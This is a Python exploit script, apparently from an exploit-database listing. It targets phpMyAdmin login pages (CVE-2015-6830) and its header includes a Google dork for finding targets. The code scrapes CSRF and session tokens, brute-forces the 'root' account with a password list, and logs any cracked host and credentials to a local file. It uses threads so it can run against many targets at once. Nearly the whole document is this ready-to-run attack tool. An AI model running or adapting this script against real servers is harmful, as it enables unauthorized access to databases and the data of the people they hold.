"""
Exploit-Title: PHPMyAdmin 3.0 - Bruteforce Login Bypass
Author: Nikola Markovic (badgerinc23@gmail.com)
Date: 2023
Google-Dork: intext: phpMyAdmin
Vendor: https://www.phpmyadmin.net/
Version: >3.0 & 4.3.x before 4.3.13.2 and 4.4.x before 4.4.14.1
Tested on: win/linux/unix
Python-Version: 3.0
CVE : CVE-2015-6830
"""
import urllib.request
import urllib.parse
import urllib
import threading
import http.cookiejar
import re
import sys
def CheckLogin(target):
passwords = ["123"]
try:
for password in passwords:
print("Try Host: "+target+" with Combo: root/"+password+"!\n")
load_token = urllib.request.Request(target)
fetch_token = urllib.request.urlopen(load_token,timeout=2).read()
token = re.findall(r'name="token" value="([\w\.-]+)"',fetch_token.decode('utf-8')) # token fetching
session = re.findall(r'name="set_session" value="([\w\.-]+)"',fetch_token.decode('utf-8')) ## session token fetching
login_data = urllib.parse.urlencode({ 'pma_username': "root", 'pma_password': password,'set_session': session[0], 'token':token}) ## injecting payload to bruteforce
login = login_data.encode()
cookies = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookies))
do_it = opener.open(target,login,timeout=2)
check = do_it.read()
if b"index.php?route=/logout" in check:
f = open('bruted_pma','a')
f.write(target+" Bruted: root/"+password+"\n")
f.close()
except:
pass
if sys.argv[1]:
t = threading.Thread(target=CheckLogin,args=(str(sys.argv[1]),))
if threading.active_count() < 500:
t.start()
else:
t.start()
t.join()